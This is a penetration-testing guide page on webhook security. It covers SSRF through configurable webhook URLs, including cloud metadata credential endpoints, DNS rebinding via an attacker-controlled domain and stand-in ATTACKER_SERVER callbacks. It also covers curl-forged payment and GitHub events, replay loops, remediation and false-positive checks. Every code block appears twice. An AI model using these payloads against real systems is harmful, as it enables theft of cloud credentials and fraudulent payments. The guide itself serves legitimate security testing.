Exploitation A10 A01

Webhook Security Testing

Webhooks are HTTP callbacks that send real-time notifications between applications. They are commonly used for payment notifications, CI/CD triggers, and service integrations. Insecure webhook implementations can be exploited for SSRF, replay attacks, data manipulation, and unauthorized triggers.

Webhook SSRF

bash
# If the application lets you configure a webhook URL:
# Point it to internal services!

# Test with Burp Collaborator or interact.sh:
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests

# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/  # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/

# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure

# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callback
# If the application lets you configure a webhook URL:
# Point it to internal services!

# Test with Burp Collaborator or interact.sh:
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests

# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/  # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/

# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure

# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callback

Webhook Authentication Bypass

bash
# If you know the webhook endpoint, try sending forged events:

# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
  -H 'Content-Type: application/json' \
  -d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'

# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!

# Test without signature header:
curl -X POST https://target.com/webhooks/github \
  -H 'Content-Type: application/json' \
  -d '{"action": "completed", "deployment": {"environment": "production"}}'

# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
  -H 'Stripe-Signature: t=123,v1=invalid_signature' \
  -H 'Content-Type: application/json' \
  -d '{"type": "checkout.session.completed"}'
# If you know the webhook endpoint, try sending forged events:

# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
  -H 'Content-Type: application/json' \
  -d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'

# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!

# Test without signature header:
curl -X POST https://target.com/webhooks/github \
  -H 'Content-Type: application/json' \
  -d '{"action": "completed", "deployment": {"environment": "production"}}'

# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
  -H 'Stripe-Signature: t=123,v1=invalid_signature' \
  -H 'Content-Type: application/json' \
  -d '{"type": "checkout.session.completed"}'

Replay Attacks

bash
# Capture a legitimate webhook payload and replay it:

# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
  curl -X POST https://target.com/webhooks/payment \
    -H 'Content-Type: application/json' \
    -H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
    -d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
  echo "Replay $i sent"
done

# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times

# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)
# Capture a legitimate webhook payload and replay it:

# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
  curl -X POST https://target.com/webhooks/payment \
    -H 'Content-Type: application/json' \
    -H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
    -d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
  echo "Replay $i sent"
done

# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times

# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)

Testing Checklist

  1. 1. Identify all webhook endpoints (config pages, API docs, JS source)
  2. 2. Test webhook URL for SSRF (internal IPs, cloud metadata)
  3. 3. Test if webhooks verify signatures or can be forged
  4. 4. Replay captured webhook payloads for duplicate processing
  5. 5. Test with modified payloads (change amounts, status, user IDs)
  6. 6. Check if webhook secrets are exposed in configuration
  7. 7. Test webhook URL scheme restrictions (file://, gopher://, dict://)

Evidence Collection

SSRF: Request showing webhook to internal endpoint, response with internal data

Forgery: Unsigned webhook request accepted by the application

Replay: Multiple successful processing of the same webhook event

CVSS Range: SSRF: 6.5–9.1 | Forgery: 7.5–8.6 | Replay: 5.3–7.5

Remediation

  • Verify signatures: Always verify webhook signatures using HMAC-SHA256 with a shared secret.
  • Validate timestamps: Reject webhook events older than 5 minutes to prevent replay.
  • Idempotency: Track event IDs and reject duplicates.
  • URL allowlist: Restrict webhook destination URLs to known-good domains/IPs.
  • Block internal IPs: Deny webhook URLs pointing to RFC 1918, loopback, and metadata endpoints.

False Positive Identification

  • Webhook to internal IP blocked: The server may accept the webhook URL but the actual HTTP request is blocked by network policy — verify the request actually reaches internal resources.
  • Unsigned webhooks by design: Some webhook providers don't sign payloads — check if the application has alternative verification (IP allowlisting, mutual TLS).
  • Replay window as feature: Some systems allow webhook re-delivery for reliability — verify there's no nonce/timestamp check rather than reporting re-delivery as a vulnerability.